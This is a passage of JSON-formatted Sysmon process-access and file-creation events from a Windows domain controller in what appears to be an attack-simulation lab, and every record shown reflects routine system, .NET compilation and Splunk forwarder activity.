12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8021,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.870\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.870","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8022,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.870\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-42F9-5F2D-0000-0010A1D60E00}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.870","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-42F9-5F2D-0000-0010A1D60E00}","TargetProcessId":"3204","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8023,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:39.994\r\nProcessGuid: {90617006-431B-5F2D-0000-0010AAD70F00}\r\nProcessId: 4784\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\12b0-0\\System.Web.Entity.dll\r\nCreationUtcTime: 2020-08-07 12:03:39.994","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:39.994","ProcessGuid":"{90617006-431B-5F2D-0000-0010AAD70F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\12b0-0\\System.Web.Entity.dll","CreationUtcTime":"2020-08-07 12:03:39.994","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8024,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.041\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-430A-5F2D-0000-001021850F00}\r\nTargetProcessId: 872\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.041","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-430A-5F2D-0000-001021850F00}","TargetProcessId":"872","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8025,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.041\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-430A-5F2D-0000-001021850F00}\r\nTargetProcessId: 872\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.041","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-430A-5F2D-0000-001021850F00}","TargetProcessId":"872","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8026,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.041\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-430A-5F2D-0000-001021850F00}\r\nTargetProcessId: 872\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.041","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-430A-5F2D-0000-001021850F00}","TargetProcessId":"872","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8027,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.119\r\nSourceProcessGUID: {90617006-431B-5F2D-0000-0010C3DB0F00}\r\nSourceProcessId: 3204\r\nSourceThreadId: 4112\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.119","SourceProcessGUID":"{90617006-431B-5F2D-0000-0010C3DB0F00}","SourceProcessId":"3204","SourceThreadId":"4112","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8028,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.135\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-431C-5F2D-0000-0010E8E10F00}\r\nTargetProcessId: 3632\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.135","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-431C-5F2D-0000-0010E8E10F00}","TargetProcessId":"3632","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8029,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.135\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431C-5F2D-0000-0010E8E10F00}\r\nTargetProcessId: 3632\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.135","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431C-5F2D-0000-0010E8E10F00}","TargetProcessId":"3632","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8030,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-431C-5F2D-0000-0010E8E10F00}\r\nTargetProcessId: 3632\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 